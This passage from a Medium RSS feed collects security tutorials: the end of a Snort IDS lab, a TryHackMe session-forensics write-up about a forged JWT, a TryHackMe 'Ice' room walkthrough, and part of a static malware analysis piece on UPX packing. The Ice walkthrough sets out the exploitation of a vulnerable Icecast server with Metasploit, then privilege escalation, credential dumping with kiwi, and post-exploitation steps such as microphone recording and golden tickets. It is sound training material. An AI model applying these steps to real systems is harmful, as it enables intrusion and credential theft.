/></figure><p>Run the traffic-generator script and use Task 7 here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*H1t8rpDIYC1JSsAIkDt2Ag.png" /></figure><p>Go through the output and get the desired info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*Vm-Bo2u69Yy3eVEFnnX4JQ.png" /></figure><p><strong>Operation Mode 4: PCAP Investigation</strong></p><p>Snort can read PCAP files and check them against prescribed rules. We can read one file, multiple files, or show which file is being processed. When we process multiple PCAPs, snort adds up all the alerts from each file.</p><p>For example, if mx-1.pcap gives 340 alerts and mx-2.pcap gives 170, together they make 510 alerts.</p><p>We can also see extra info like TCP segments or HTTP headers depending on the rules and configuration.</p><p>Using Task 8 files for this section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*Om327r9IqNV0IHBiw62BWA.png" /></figure><p>Investigate the <strong>mx-1.pcap</strong> file with the default configuration file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*tbYUcs0Zm0ntIYson6teqw.png" /></figure><p>The output contains the total alerts generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*D4ko4fd8qrJB-a3VvgHS1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0UR-U_RBE4HNHvmnm4E9g.png" /></figure><p>The output also contains info about tcp statistics.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*1IxAbgIF-aPbfhslUt7EgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*crFkI8-fcyGhrerqnDSi9w.png" /></figure><p>Information related to HTTP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*uPsXxqgkOMgkK6PxICU6wg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C26Hwpb4_MufmRLMgfpPtw.png" /></figure><p>Investigate the <strong>mx-1.pcap</strong> file with the second configuration file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*9blG8o28hh7RCe1LsIk6jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*n2I7ul8DlsdkqYNYSIKrCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J7X-W_PeaRwdO9gzyV9K_A.png" /></figure><p>Investigate the <strong>mx-2.pcap</strong> file with the default configuration file and check the alerts generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*bwnbMZ0Mz66BYDwLXaNRlw.png" /></figure><p>The stream statistics shows how many tcp packets are generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*YH45UEzS4bQeb3-tN_oToQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*HxSO7T8AqZqBeYhFyYdDfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*INHj-w_zhSAPcN5h72_1Vw.png" /></figure><p>Investigate the <strong>mx-2.pcap and mx-3.pcap</strong> files with the default configuration file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*zi93CI4wqdxMXfvlrhm2xA.png" /></figure><p>Total alerts will the combined alerts of both pcap files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*RWebYh5APJQ1ob6hzFvG0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*21Wzm9zm_QlD7qIsxWDhDA.png" /></figure><p><strong>Snort Rule Structure</strong></p><p>Snort rules let us detect or block network traffic. Each rule has a header and options.</p><p>Header:</p><ul><li><strong>Actions</strong>: alert (log only), log, drop, reject(block &amp; log).</li><li><strong>Protocols</strong>: IP, TCP, UDP, ICMP .</li><li><strong>IP/Port filtering</strong>: include, exclude, or use ranges for IPs and ports.</li><li><strong>Direction</strong>: -&gt; for one-way, &lt;&gt; for both ways.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DSPW8l72Vx-KeGgbko7Iw.png" /></figure><p>Rule <strong>options</strong> make detection smarter:</p><ul><li><strong>General</strong>: msg (message), sid(unique rule ID), rev(revision), reference(CVE info).</li><li><strong>Payload</strong>: content (search for data), nocase (ignore case), fast_pattern (speed up detection).</li><li><strong>Non-payload</strong>: id (IP ID), flags (TCP flags like SYN, ACK, PSH), dsize (payload size), sameip (same source/destination IP).</li></ul><p>Rules are usually stored in /etc/snort/rules/local.rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*Vl0eZVhxhsSoIpuS0wPClw.png" /></figure><p>Use this local.rules file to write custom rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*Aynx56LFwzSGmaCM_ftc_g.png" /></figure><p>This rule will filter packets having ip with id=35369 within the selected pcap file.</p><p>Now start snort using the newly created rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*ZK88E1mBwrShuObb12vqsA.png" /></figure><p>After running, an alert file is created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*7hUyw38VK4p-oKEolZl_Ew.png" /></figure><p>Read the alert file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*Q-40bt0TO9OTXiAxmvTHiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zJK6-qwFNBQV5_8ttknVNg.png" /></figure><p>Now write a new rule for filtering packets with Syn flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*y21Wkr_ymL3KNdBq0u6eFA.png" /></figure><p>Run the same command again with the new rule. Make sure to remove the previous alert file when using the new rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*fLTo7fEDPJEqBnev-rfZVg.png" /></figure><p>We have only 1 packet in alert file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*kx_94AD-n19AwlrYpmoaQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6VpVd8PZN0EZ2TY_A86_xw.png" /></figure><p>Now write a rule to filter for Push-Ack flags packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*nUgkwLuvPo0EAqgX19Tj6A.png" /></figure><p>After running the same command, again check the number of alerts generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*j0n4GXAdJKz96vXg0oyGCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KihBXEKw71dTrYmDTVqz_A.png" /></figure><p>Rule for same source and destination ip:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*YWeFw13EnHLYUXN0x8s7ZQ.png" /></figure><p>Run the command <em>snort -c local.rules -A full -l . -r task9.pcap </em>and then read the alert file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*De3keZCnm4vk-xB68cI0qw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qz34g89fpanHqXXDVp99PQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DSPW8l72Vx-KeGgbko7Iw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MBnTGM3zKjcVajmjrIXccA.png" /></figure><p>And that’s it for this room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StGsrbhTko8okzLpnERo3g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a39af666275" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Session Forensics Walkthrough | TryHackMe]]></title>
            <link>https://medium.com/@claudiovolpecv710/session-forensics-walkthrough-tryhackme-28e4c6674f54?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/28e4c6674f54</guid>
            <category><![CDATA[cookies]]></category>
            <category><![CDATA[sessions]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[jwt]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 16:53:43 GMT</pubDate>
            <atom:updated>2025-09-10T16:53:43.691Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/323/1*r-GFvK1SucO2uewtDsoj-A.png" /></figure><p>The room is about sessions, and how we can use logs to investigate any malicious activity related to these sessions.</p><h4><strong>Recap: Session &amp; JWT</strong></h4><p><strong>Session</strong>: A temporary connection between user and a website once the user log in. It helps the site remember <em>who the user is </em>as he moves between pages.</p><p><strong>Session ID</strong>: A <em>unique number or string</em> the server gives to identify user session like a ticket number. It’s usually stored in a cookie.</p><p><strong>Cookie</strong>: A small piece of data saved in your browser by a website. It can store things like your session ID, preferences, or login info.</p><p><strong>JWT Revocation:</strong> It is the process of making a JWT invalid before its expiry time.</p><p>Since JWTs are usually stateless and can’t be “killed” easily once issued, revocation is done by keeping a blocklist/denylist of tokens or changing the signing key so old tokens stop working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DV1neAXj-B_pEB-9QKVIuw.png" /></figure><p><strong>Session Hijacking: </strong>When an attacker steals the <em>session ID </em>(like your ticket number) and uses it to pretend to be you. This lets them access your account without needing your password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*do9CF37Rv1wQTSfhUySWsA.png" /></figure><h4><strong>Decoding and Inspecting Tokens</strong></h4><p>This section shows how to track session tokens and how they can help in forensics with the help of logs.</p><p>Session tokens and JWTs are two ways websites keep track of logged-in users, but they work differently.</p><p>Session tokens are stored on the server, and the browser just holds a small cookie like an ID card that links back to the server’s records.</p><p>JWTs, on the other hand, store all the user’s info inside the token itself and are usually saved in the browser’s localStorage or sessionStorage.</p><p>Both can appear in web server logs, application logs, and in the case of JWTs, identity provider logs, which could help in forensics and keeping track of them.</p><p>So what are these logs basically?:</p><p><strong>Application Logs: </strong>These are the notes kept by the app itself about what users did e.g., logged in or changed password.</p><p><strong>Web Server Logs: </strong>These are records kept by the web server about every request made, including time, IP address, browser, and pages visited.</p><p><strong>Identity provider Logs: </strong>Logs from the system that issues login tokens like Google, Okta, or Auth0, showing when tokens were created, who logged in, and how authentication happened.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdEtEQPbCTUR5iykLr8Nbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OFGilHchO7CiMcvcym150g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vq2YCvxeoUxtetwwiBRrrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ET5N9eOwHK3WqOd-zaL4PA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RqLG9McN3F2xsWrvC87xug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fhd-Kz0I-qOLJ4ktupzMHQ.png" /></figure><p>JWTs are made of three parts — header, payload, and signature — and can be decoded with tools.</p><h4><strong>Session Forensics, Log Investigation</strong></h4><p>In this section we will use some forensic knowledge and investigate the logs attached to the room.</p><p>For the user-agent we will look into the web server logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*6HtlQ3qbvpxPlG8RrFIsHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TW0ILs8XHliuyvp9q_t_cA.png" /></figure><p>Since JWT consists of three parts and is of the form &lt;Header&gt;.&lt;Payload&gt;.&lt;Signature&gt;, therefore, we are dealing with JWT here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*YbYP5Bu2TuY39iWrFqMV-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wsuysLPzY27_JfNu7PWx3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*Slqs3rwzaC_v-nMd99Pw9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fkCV_9KEMbmZUnPBYadfA.png" /></figure><p>In application.log we see the change in role from user to admin by fluffycat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*4TIeE9HbL9MmWQmWuME_YA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vkywNE3IY-lcI23Ic7oIkg.png" /></figure><p>In browser_dump.txt we can find a dumped token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*qshzIzmNlrBYuGw6ij_ocw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7tJMk9-sXONyUS7KYHpqWg.png" /></figure><p>In application.log we can see the algo used by the malicious token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*hJS84qBbBYia7PdHfvvTDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i-L0SBX4dUpeGNcWdqLfww.png" /></figure><p>The original token can be found in webserver.log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*Z4yFAlgqDIv_zOIzyzvMLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXmi57RKbsaPtkrrTd7Uzg.png" /></figure><p>Decoding the JWT and we get the algo used:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*cETeFxhKGt3p5oi3Yi1vVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TN24klBPSkeI-S08ywIJ5A.png" /></figure><h4><strong>Investigation Findings, Containment and Remediation</strong></h4><p>The investigation found that the user <em>FluffyCat</em> gained admin access by forging a JWT token. The Identity Provider only issued them tokens with a normal user role, but a fake token with an admin role was later used and wrongly accepted by the backend.</p><p>Most likely, FluffyCat tampered with their original token from localStorage and bypassed signature checks, though no evidence of token theft via XSS was found.</p><p>To contain the issue, sessions and credentials for FluffyCat were reset, tokens audited, the security team notified, and admin endpoints tightened.</p><p>For long-term fixes, strong JWT validation should be enforced, issuer checks should be added, tokens should be stored more securely especially not in localStorage, and token reuse detection should be implemented to prevent tampering and replay attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PlhWxxaL51ZjUk2VhTh0ZQ.png" /></figure><p>and that is the end of this room…</p><p>Hope you’ve learned something new.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28e4c6674f54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ice Room Walkthrough TryHackMe]]></title>
            <link>https://medium.com/@claudiovolpecv710/ice-room-walkthrough-tryhackme-4749ca9ce55a?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/4749ca9ce55a</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ice]]></category>
            <category><![CDATA[room]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 15:59:32 GMT</pubDate>
            <atom:updated>2025-09-03T15:59:32.923Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a windows exploitation room where we compromise a windows 7 machine using<strong><em> Icecast (</em></strong>streaming media server<strong><em>).</em></strong></p><p>The main objective of the room was to exploit a windows 7 machine running an old version of Icecast. Since it’s vulnerable we get a reverse shell, escalate privileges and gain access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*QwbDIpTPUWKuipp2HA05IA.png" /></figure><p>Let’s jump into it. Start the ice machine and get your kali linux up to work your magic.</p><h3>Let’s Begin!!</h3><p><strong>RECON</strong></p><p>Performing nmap scan on the target to get all the ports and services running on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*X-PAQ3beaxub_1N42vQpcw.png" /></figure><p>We perform deeper scanning with -A flag (aggressive scan) to get more details about our target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*VOE8FjwvJqKDI6O9QYdSsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U25efC_rIbk5NC64v0dIMQ.png" /></figure><p>Icecast is running on port 8000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*4aYJxuDX1UlE1A2Qk1ES4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0nBUJmGs0baUBuvCq4mkxQ.png" /></figure><p>Next we need to identify the host name and that is also present in the results of the given scan.</p><p>Found the host name: <strong><em>DARK-PC</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*DF6dmMxliMeMRJuiUzVB6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fjBofyXSLyAAnVh2woSVw.png" /></figure><p>Fro our recon we found that on port 8000 icecast is running with a version that is vulnerable.</p><p><strong>GAIN ACCESS</strong></p><p>Since we have identified the services running on the target and also found a vulnerable version of icecast we will move forward with that.</p><p>Finding details about this vulnerable version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*4eyY_v7Set4Y0xWGMH2iTQ.png" /></figure><p>Impact score for the vulnerability is <strong><em>6.4</em></strong>.</p><p>The impact score of a vulnerability is a metric that tells how much damage an exploit of that vulnerability could cause to a system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*BfIK8vWwyVEFnFXUBQ-K1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blPEHWZVka1kjetvx9i_BA.png" /></figure><p>Every vulnerability is assigned a CVE no. so they can be easily tracked, shared and fixed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SVcd-XuGRR1l70XMzixR4g.png" /></figure><p>We will be using metasploit to exploit this vulnerability in icecast. Start metasploit using msfconsole command and search for icecast.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*RItEbMr7fWFLL-OvuXbv7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B-rP4ZdrP-g6D40nXxdcJA.png" /></figure><p>Using this exploit and setting options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*Hn9bPyr1K2WEA0ZOxIXSGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDd17ecCI1485eZ9es_i7Q.png" /></figure><p>Setting the required options (RHOSTS = remote/target host). We can also change the LPORT (local port) to one of our own choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*JB66FMsvGLHFRuJcLa2Jgw.png" /></figure><p>Use the <strong><em>run/exploit</em></strong> command to execute the exploit and open up a meterpreter session with our target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QrhcvTFF1T4dwqbgOWlCbw.png" /></figure><p>Yaaay, we got access to our target system.</p><p><strong>ESCALATE</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hk-PmJbZlf7yIEZv09Angg.png" /></figure><p>Use the command <strong><em>whoami</em></strong> to check the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Lg2apQga2oQOIhZN7q4Rw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*5MjXKc3v1PmxOmuhKXpouA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hvY9hKCw-rDuAxZy9bxJFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*EsLFwcrxv346B1EgGYYMRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DMfDytcrpuXyez-3O3EiCg.png" /></figure><p>We will now try to escalate our privileges. To do so we will use <strong><em>Metasploit Exploit Suggester</em></strong> that scans a target system we already have access to and suggests possible exploits we can run against it.</p><p>Background the current meterpreter session using <strong>background</strong> command. Search for suggester in metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRpghfZwlAMo7TTyQMTmVA.png" /></figure><p>Use 0 and see options for this exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*dXrjqTntZfmpibmJ8iaLhw.png" /></figure><p>We need to provide background session to the exploit.</p><p>Checking active sessions and setting it for our suggester expoit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*y98tJo-gJUZPWX-KcAsgtA.png" /></figure><p>After running we get a number of possible vulnerabilities we can use to elevate our privilege on target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*kY9qL4PQr30aXhOcfWVjTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZsOnBFYAwgeukzZu0maCbQ.png" /></figure><p>Using the first exploit listed by the suggester and checking it’s option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WMmp8HdDNIF_bAtvMcm9wQ.png" /></figure><p>We will set the session as well as the LHOST. LHOST here needs to be equal to our vpn address not local ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*B-RF_O0uhXc06b_cgn1iFg.png" /></figure><p>Find this ip by using command <strong><em>ifconfig tun0 or ip a </em></strong>&gt; tun0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uy1nZsg4YCCeWIIuA2xO8Q.png" /></figure><p>Exploitttt!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WVKKyc_GYakx_rowFur3_A.png" /></figure><p>And we escalated our privileges. Check it by using <strong><em>getprivs </em></strong>command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*qWQeIraQSitLN2ipQ_zUFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FwYrtXEC0Gnk1Zi50usbHw.png" /></figure><p><strong>LOOTING</strong></p><p>Listing all the processes that are running on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*falZOE6xCu1ueoZXqm0Xsw.png" /></figure><p>We see the lsass service running. LSASS (local security authority subsystem service) is a windows process that handles login and security policies on computer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BA7QwUXyvxJyvCrdpnCR0g.png" /></figure><p>To exploit this service we will use the printer spooler service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6-O4eQUseesrde7qyj8VmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3qauKEJb1AxG3t2CM6031g.png" /></figure><p>We will migrate to spoolsv.exe. We can see that we have system privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*H5Eigc5LtdvTnqq81nnx9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1tRRXa3DfuJQb6Ny0NGtsg.png" /></figure><p>Next we will use a credential dumping tool <strong><em>kiwi.</em></strong></p><p>Loading kiwi to our session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SMsInDdSj1EyT5ylut0slw.png" /></figure><p>We can use <strong><em>help</em> </strong>command to see al possible commands that could be used.</p><p>Navigate to all kiwi commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*MDQBBV6rqY-lwCHWauQI1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1jTh7eHcZl9z26poe5w3fg.png" /></figure><p>We can dump all credentials on the target system using <strong><em>creds_all</em></strong> command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*8nIcsa2AXljNJqRss-UA7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FRzH29VBSHQiN53FvaB0iw.png" /></figure><p><strong>POST-EXPLOITATION</strong></p><p>We can look at m ore info from help command that could help in post exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*7_xvyasxf9p86NgHPiC0Wg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MfvFHr9BBYnyGCO4zBoacA.png" /></figure><p>Command to watch the target screen in real time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KgqZFSAjwRe3H3dMGs1uTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qgsZlKmTBERQJiu8bZSg5g.png" /></figure><p>Recording from an attached microphone on target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*riy9KBuPqRCPJ8yCjqc7vA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWgonMi5fwclMlB1AIrCBg.png" /></figure><p>Modifying time stamp on target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ZQ-o0cACKrYkal3Hp7uVqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q9wHELXidXzdLcqjECy5bw.png" /></figure><p>Command to create golden ticket using kiwi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*w84Eh06ZQwslWM2yIJ8HxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2hgbh5yqwNPvlCT3A7ek_A.png" /></figure><p>We can also get access via rdp to the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EO2_v5JIn-9wifAmCY68-A.png" /></figure><p>Room completed!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*NZjD8W82sl9NmhyAjQkUOA.png" /></figure><p>Best of luck on your try…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4749ca9ce55a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Performing Static Malware Analysis On A Sample Malware Pt.3]]></title>
            <link>https://medium.com/@claudiovolpecv710/performing-static-malware-analysis-on-a-sample-malware-pt-3-fff637d21830?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/fff637d21830</guid>
            <category><![CDATA[header]]></category>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[packers]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Mon, 02 Jun 2025 19:11:00 GMT</pubDate>
            <atom:updated>2025-06-03T15:48:35.357Z</atom:updated>
            <content:encoded><![CDATA[<p>This is the third and final part of static malware analysis on a sample piece of malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*C_LZnsXPDldfTd1HMgQBdw.png" /></figure><p>Here’s the link to part 2 where we performed identification of malware and also learned how to perform string analysis which yields useful information about malware:</p><p><a href="https://medium.com/@claudiovolpecv710/performing-static-malware-analysis-on-a-sample-malware-pt-2-9cb3bd1457b5">Performing Static Malware Analysis On A Sample Malware Pt.2</a></p><p>In this final part we will be talking about packing, obfuscation and PE headers.</p><p>4. <strong>Packing And Obfuscation</strong></p><p>Packing in malware analysis means compressing and hiding real data or code of a file using special tool called packer. It is like a wrapped gift with layers of paper to hide what is inside. Similarly, malware is wrapped so that it can hide what it actually does and avoid detection.</p><p>Obfuscation on the other hand means to write and scramble the code such that it is harder to understand. It is difficult to read and understand, however, it still works the same when executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*P05oKudRekGibzNf-Xn_3Q.png" /></figure><p>Now lets move to how we can pack and unpack a malware file. We will use UPX tool famous for packing and unpacking.</p><p>Simply use the command:</p><p><em># upx filename </em>to pack a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*zEj6CemxYqlZ06IMEy-Drg.png" /></figure><p>When we compare the size of both files, the size of packed file is less than that of original.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*sOhnUIYoIq_QUJdavsnyZw.png" /></figure><p>We will use another tool called <strong><em>Exeinfo PE</em></strong><em> </em>that not only retrieves the windows PE header information but it can also detect if the executable has been packed. It also gives the packer version and also how to unpack the file.</p><p>Let’s analyze the strings of both packed and unpacked file using this tool. Open both files in Exeinfo PE tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*4aps1Rlh_UoBuZZSydO3Qw.png" /></figure><p>We can see that the tool successfully points out that the packer has been used to compress the packed file and also tells how to unpack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*f3dulfUORPtrcnCAA4Eb4Q.png" /></figure><p>We can also check the difference between both files by using HashCalc and comparing their various hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*ryosigTvwZYFPFGHgl4ASg.png" /></figure><p>We can also use the UPX tool to decompress the infected file to original state. Use the <em>-d </em>flag to decompress the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*hWqUplKWiIBWnL_WaOFt-w.png" /></figure><p>Now moving to our last section of static malware analysis, i.e; PE Headers</p><p>5. <strong>PE Headers</strong></p><p>The <em>Portable Executable (PE) header</em> is a critical component of Windows executable files (EXE, DLL, etc.). The PE header contains important information and metadata that the OS needs in order to load and run the executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*iDgySya1y8nZDZuuFnRuhw.png" /></figure><p>Some important sections of PE header are given below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 